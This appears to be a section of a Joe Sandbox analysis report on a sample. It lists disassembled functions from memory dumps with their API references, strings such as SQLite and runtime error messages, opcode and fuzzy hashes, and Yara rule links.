Instruction ID: d4bdc545eae952c481ffbc110b5cbc5e2873709fa53c1ac0973e24d10e5416c9
Opcode Fuzzy Hash: 9a9bcaab0169d31b611b93b3b17d643d26cf28526b5f29e8fbd39da941c83064
Instruction Fuzzy Hash: 55111F66B14F4189EB10CB70E9942B933B8F719768F440A36DA5D56794EF7CE194C340

Function 00007FFB1C260D5C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFB1C260D88
GetCurrentThreadId.KERNEL32 ref: 00007FFB1C260D96
GetCurrentProcessId.KERNEL32 ref: 00007FFB1C260DA2
QueryPerformanceCounter.KERNEL32 ref: 00007FFB1C260DB2

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 15bdf73cda2f41086707368dd9349a273cb6e4dedd62d10c03f2e51642f891d7
Instruction ID: 03341029d248510da226f377b3e36a38accf363eeeedc6ebcc88243a23bf125e
Opcode Fuzzy Hash: 15bdf73cda2f41086707368dd9349a273cb6e4dedd62d10c03f2e51642f891d7
Instruction Fuzzy Hash: 8D111CA6B18F118AEB00EB70E8582E833A5F759768F540E31DEAD467A4DF7CD1588390

Function 00007FFB0C05DC84 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 290COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C05E011

Strings

string or blob too big, xrefs: 00007FFB0C062103
out of memory, xrefs: 00007FFB0C062478

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: out of memory$string or blob too big
API String ID: 3122504284-2410398255
Opcode ID: 5fff3d06d0ccca3e7037c2f42f265a36d380444e00bc8815e5caa4a52cafd409
Instruction ID: cecfcac92f20145e1cfa9448ec2e9c97219fb33c32109cf356eb86edda264a28
Opcode Fuzzy Hash: 5fff3d06d0ccca3e7037c2f42f265a36d380444e00bc8815e5caa4a52cafd409
Instruction Fuzzy Hash: F7C1B1E2B0875287FB259A35C288A7E67A0EF11B84F144436CB4E57795FF2CE845C318

Function 00007FFB1BB11890 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241COMMON

Download Yara Rule

APIs

00007FFB2ADAFCF0.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFB1BB1B15E

Strings

Q2"e, xrefs: 00007FFB1BB118A2
%d work, %d block, ratio %5.2f, xrefs: 00007FFB1BB1B170

Memory Dump Source

Source File: 00000007.00000002.1715481605.00007FFB1BB11000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFB1BB10000, based on PE: true

Associated: 00000007.00000002.1715437200.00007FFB1BB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715481605.00007FFB1BB25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715572310.00007FFB1BB26000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715611009.00007FFB1BB28000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1bb10000_X9g8L63QGs.jbxd

Similarity

API ID: 00007
String ID: %d work, %d block, ratio %5.2f$Q2"e
API String ID: 3568877910-1389944727
Opcode ID: 5e4d09ab0390b8399ab1d5fcd6f54b8213f7fb7fffd6cb6208b0b3ac3218876c
Instruction ID: 55ade5ea2dc760d7d5efb2b0dbf877018f5b8af1e69ce87abcdd1fd74fbe3d52
Opcode Fuzzy Hash: 5e4d09ab0390b8399ab1d5fcd6f54b8213f7fb7fffd6cb6208b0b3ac3218876c
Instruction Fuzzy Hash: EDA1C3B6618A81C7D7298F29F01077E7BA5FB85794F04A235DA5E43BA8CB38E505CB00

Function 00007FFB0C0905E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C090782
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C09079B

Strings

string or blob too big, xrefs: 00007FFB0C0908AD

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: string or blob too big
API String ID: 3122504284-2803948771
Opcode ID: 6a3b792af28c5662f73222d4b4933a8ca5c4e6cb800e1e0a16e3037f37ecc6fe
Instruction ID: f5d2f77db95db668f27711f45de61909337c8d3ecbf45f059163e5835fe32f8e
Opcode Fuzzy Hash: 6a3b792af28c5662f73222d4b4933a8ca5c4e6cb800e1e0a16e3037f37ecc6fe
Instruction Fuzzy Hash: 4491ACE1F0820285FB689B25D458BBA67A4EF88B98F044135DE9D073D2EF3DE945C748

Function 00007FFB0C06CE50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C06D0E0

Strings

variable number must be between ?1 and ?%d, xrefs: 00007FFB0C06CFF6
too many SQL variables, xrefs: 00007FFB0C06D102

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: too many SQL variables$variable number must be between ?1 and ?%d
API String ID: 3122504284-515162456
Opcode ID: 506eda038b74c98e54bdfa24872a0cb727f6532326f914921bbb369657e19773
Instruction ID: cb625a1a1f8c92a0478605f4c5311d3e6dbd6e297b5e2375859669110e52d6bf
Opcode Fuzzy Hash: 506eda038b74c98e54bdfa24872a0cb727f6532326f914921bbb369657e19773
Instruction Fuzzy Hash: 8D819AF2B08752C9EA619F21E448BB977A5FF44B84F598036EA8C47284EF38E541C308

Function 00007FFB0C08A8B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 178COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C08A95D

Strings

no such collation sequence: %s, xrefs: 00007FFB0C08AAFC
BINARY, xrefs: 00007FFB0C08A8BC

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: BINARY$no such collation sequence: %s
API String ID: 3122504284-2451720372
Opcode ID: 282f0509ea81868ca59e037c5a34fc49bde5b1738b0b20af94cc3273fb71deb0
Instruction ID: 9c4ab41a8ac97f708fdc05809a0dddab3ad7bedafa8b1d5f7d58ee07ec387506
Opcode Fuzzy Hash: 282f0509ea81868ca59e037c5a34fc49bde5b1738b0b20af94cc3273fb71deb0
Instruction Fuzzy Hash: E37192E2B08A4181EF159F31C1487B96390EF54BA4F499232DEAD07AC5EF3CE599D348

Function 00007FFB0C0899C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

index '%q', xrefs: 00007FFB0C089A12

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: index '%q'
API String ID: 0-1628151297
Opcode ID: 2ae049488dbcd971e8eebbb9c46ca1a513fddf04584e929c695a7bee5a319a09
Instruction ID: 825d9b42d3e157fca775d442539225e35715b81431ba8142decb4ec58d3dc5b4
Opcode Fuzzy Hash: 2ae049488dbcd971e8eebbb9c46ca1a513fddf04584e929c695a7bee5a319a09
Instruction Fuzzy Hash: 8971D2F2B1865189EB10AB75D844ABC3BB0BF44B98F008635DE6E57BD4EF389445C748

Function 00007FFB0C024A30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C024BCC

Strings

%02d, xrefs: 00007FFB0C024B6E, 00007FFB0C024BD5

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %02d
API String ID: 3122504284-896308400
Opcode ID: 87c9a3707543ebd0ec8a97f1e757cf13622c6e6cbfda3e3733a9ffa452fb5cd0
Instruction ID: dc9e73f1a3e1f31b20701e14472610c8612807b741ff4d3028790c18e97cc66a
Opcode Fuzzy Hash: 87c9a3707543ebd0ec8a97f1e757cf13622c6e6cbfda3e3733a9ffa452fb5cd0
Instruction Fuzzy Hash: 60719EF2A1869285EB268F64E848BFD7764FF84748F504135EE8E13A59EF38E445CB04

Function 00007FFB0C0BD690 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140(?,?,?,?,?,?,00000000,00000001,00007FFB0C0BD93A,?,?,?,00007FFB0C0BDCFB), ref: 00007FFB0C0BD8A7

Strings

CRE, xrefs: 00007FFB0C0BD7EF
INS, xrefs: 00007FFB0C0BD809

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: CRE$INS
API String ID: 3122504284-4116259516
Opcode ID: 822c72113fbf7660647f9a9edbd070d2d2960cc045afc80f290bda24906f9860
Instruction ID: dcc16ac7976ce004a085a7c9244043011cb4babd44569ffc9338a69572431056
Opcode Fuzzy Hash: 822c72113fbf7660647f9a9edbd070d2d2960cc045afc80f290bda24906f9860
Instruction Fuzzy Hash: 2B519AE5B09B4281EA65DB36D418AB9A3A2AF80FC4F584135DE4D47799FF3DE801C348

Function 00007FFB1AB036A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

00007FFB2ADB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB1AB03710

Strings

_constructors, xrefs: 00007FFB1AB037A5
openssl_, xrefs: 00007FFB1AB03706

Memory Dump Source

Source File: 00000007.00000002.1714746731.00007FFB1AB01000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFB1AB00000, based on PE: true

Associated: 00000007.00000002.1714712112.00007FFB1AB00000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB0E000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB11000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714860777.00007FFB1AB12000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714897323.00007FFB1AB13000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ab00000_X9g8L63QGs.jbxd

Similarity

API ID: 00007B6570
String ID: _constructors$openssl_
API String ID: 4069847057-3359357282
Opcode ID: a7dc1b67828781beb12e741df7f46f6710b7391403279fd1f2b800e1e5e5bbcd
Instruction ID: 0ebe9f7ff80ef87cd1dbc7ef6a8a754e7d44f681c8178c42b666fa09c91a1f2b
Opcode Fuzzy Hash: a7dc1b67828781beb12e741df7f46f6710b7391403279fd1f2b800e1e5e5bbcd
Instruction Fuzzy Hash: FD4142B990AF8381EA354B35D69867B66BABF49FA1F4440B6CD0E22755DF3CF4818301

Function 00007FFB0C1A6FE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

00007FFB0C058F60.SQLITE3 ref: 00007FFB0C1A7095

Strings

query string is too large, xrefs: 00007FFB0C1A715D
COMMIT, xrefs: 00007FFB0C1A711C

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C058
String ID: COMMIT$query string is too large
API String ID: 3574868227-2709575789
Opcode ID: 21e30348c05b67ee3b521cb81aeeaba2193d85109b63ecd2b393586fcd8e0965
Instruction ID: aeceaf2d4ab548e228cf6e2177d345211d4af241dd0c2a9ce514dfbddd772fb9
Opcode Fuzzy Hash: 21e30348c05b67ee3b521cb81aeeaba2193d85109b63ecd2b393586fcd8e0965
Instruction Fuzzy Hash: 1A418EF6A08B4286EB108B76E808A6963A1FF85FE4F180571DE5E477A4DF3DE4438700

Function 00007FFB0C029880 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C02999E
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C0299E2

Strings

@, xrefs: 00007FFB0C0299CC

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: @
API String ID: 3122504284-2766056989
Opcode ID: 28e1e0f857556d647b9106a00d1fe80f73a9c471021f4b8bba851b4c0d99da9f
Instruction ID: 857eee4f6457588a7658945925d7e584ba386dc7e0fdf8941cbf6b435cef3a0e
Opcode Fuzzy Hash: 28e1e0f857556d647b9106a00d1fe80f73a9c471021f4b8bba851b4c0d99da9f
Instruction Fuzzy Hash: D9418CE1D0C68386F6569F35E88C9756791BF44790F66413AE86D032A1EF3CB488C688

Function 00007FFB1AB05F58 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

00007FFB0BAA4124.LIBCRYPTO-3 ref: 00007FFB1AB0602B

Strings

key is too long., xrefs: 00007FFB1AB05FA7
msg is too long., xrefs: 00007FFB1AB05FCF

Memory Dump Source

Source File: 00000007.00000002.1714746731.00007FFB1AB01000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFB1AB00000, based on PE: true

Associated: 00000007.00000002.1714712112.00007FFB1AB00000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB0E000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB11000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714860777.00007FFB1AB12000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714897323.00007FFB1AB13000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ab00000_X9g8L63QGs.jbxd

Similarity

API ID: 00007A4124
String ID: key is too long.$msg is too long.
API String ID: 1647237834-4266787399
Opcode ID: 83e2ac935dfbc44169b5b9482cf9ac7e30b64d6e74f5cd2553697f6cfdf18808
Instruction ID: c714e9c6e9a47bb302dd38a319f34bbcdfd836bf2849d071a72ab4909cce7032
Opcode Fuzzy Hash: 83e2ac935dfbc44169b5b9482cf9ac7e30b64d6e74f5cd2553697f6cfdf18808
Instruction Fuzzy Hash: 223132A5A08FC186E620CB31E59437AA37AFB99BA4F104276D94D53B54EF7CF045C700

Function 00007FFB1C258DB4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C258EB2

Strings

void, xrefs: 00007FFB1C258E14
void , xrefs: 00007FFB1C258E3C

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID: void$void
API String ID: 2943138195-3746155364
Opcode ID: 9a107da830986a561f624b9ef5478456632fe2e7b7c502874fad34e42bf4480a
Instruction ID: e4d0ed312992019cd5c2c33c2d6ec1ad455b5a40ed05f57062f9202d4e2e9e05
Opcode Fuzzy Hash: 9a107da830986a561f624b9ef5478456632fe2e7b7c502874fad34e42bf4480a
Instruction Fuzzy Hash: D13168E2F18F659AFB00ABB0D8480FD33B1BB49758B640136EE4E56B58DF789544C790

Function 00007FFB1BB19F90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFB1BB19FF2
capture_previous_context.LIBCMT ref: 00007FFB1BB1A00A

Strings

Q2"e, xrefs: 00007FFB1BB1A084

Memory Dump Source

Source File: 00000007.00000002.1715481605.00007FFB1BB11000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFB1BB10000, based on PE: true

Associated: 00000007.00000002.1715437200.00007FFB1BB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715481605.00007FFB1BB25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715572310.00007FFB1BB26000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715611009.00007FFB1BB28000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1bb10000_X9g8L63QGs.jbxd

Similarity

API ID: FeaturePresentProcessorcapture_previous_context
String ID: Q2"e
API String ID: 3936158736-2497648249
Opcode ID: 9c639d95daf90bba28fa37fb080816b33e3113327c7d8cd4b5b1572e04a0cf6c
Instruction ID: 84d69d2db04a35a2d0b7c658dbf24f3af797b3b69b1da64d06e6e8e763d4d608
Opcode Fuzzy Hash: 9c639d95daf90bba28fa37fb080816b33e3113327c7d8cd4b5b1572e04a0cf6c
Instruction Fuzzy Hash: 1D2129BCA08F4295EB248B25F85136673A6FB843A4F50A0B5D98D42BB4DF3CF406C700

Function 00007FFB1C254E2F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB1C2551D0: RtlPcToFileHeader.KERNEL32 ref: 00007FFB1C255220
Part of subcall function 00007FFB1C2551D0: RaiseException.KERNEL32 ref: 00007FFB1C255261

RtlPcToFileHeader.KERNEL32 ref: 00007FFB1C254E9F

Strings

Bad dynamic_cast!, xrefs: 00007FFB1C254E52
Access violation - no RTTI data!, xrefs: 00007FFB1C254E2F

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: FileHeader$ExceptionRaise
String ID: Access violation - no RTTI data!$Bad dynamic_cast!
API String ID: 3685223789-3176238549
Opcode ID: 31c157b8eb2ec39060d8679ded3c8c7a40717f4d930d4d3a676af0386f3d6913
Instruction ID: 0373725b725ce6c42797ff4204ceb8a5a102a0d2b35bf1a31e84c8b9783a7bf8
Opcode Fuzzy Hash: 31c157b8eb2ec39060d8679ded3c8c7a40717f4d930d4d3a676af0386f3d6913
Instruction Fuzzy Hash: 370175E1B29E4693EE40EB34E4481F96362FF91B64FA09031D94E07765EF6CE905C790

Function 00007FFB1C2551D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FFB1C255220
RaiseException.KERNEL32 ref: 00007FFB1C255261

Strings

csm, xrefs: 00007FFB1C25524E

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 24fc685d9c18a97879a9043e169dd32e9d23318a9617333a79ec660fdc06252e
Instruction ID: 7c45b55aa0cb0e84c443c2c9298304df2dbb368ce1cad07da1b74f598a8a517a
Opcode Fuzzy Hash: 24fc685d9c18a97879a9043e169dd32e9d23318a9617333a79ec660fdc06252e
Instruction Fuzzy Hash: B91151B2618F8082EB119B25F4042AA77E6FB88B94F694234DECC47758DF3CC9518740

Function 00007FFB1B6FE858 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FFB1B6FE899

Strings

O&:FreeLibrary, xrefs: 00007FFB1B6FE86F

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
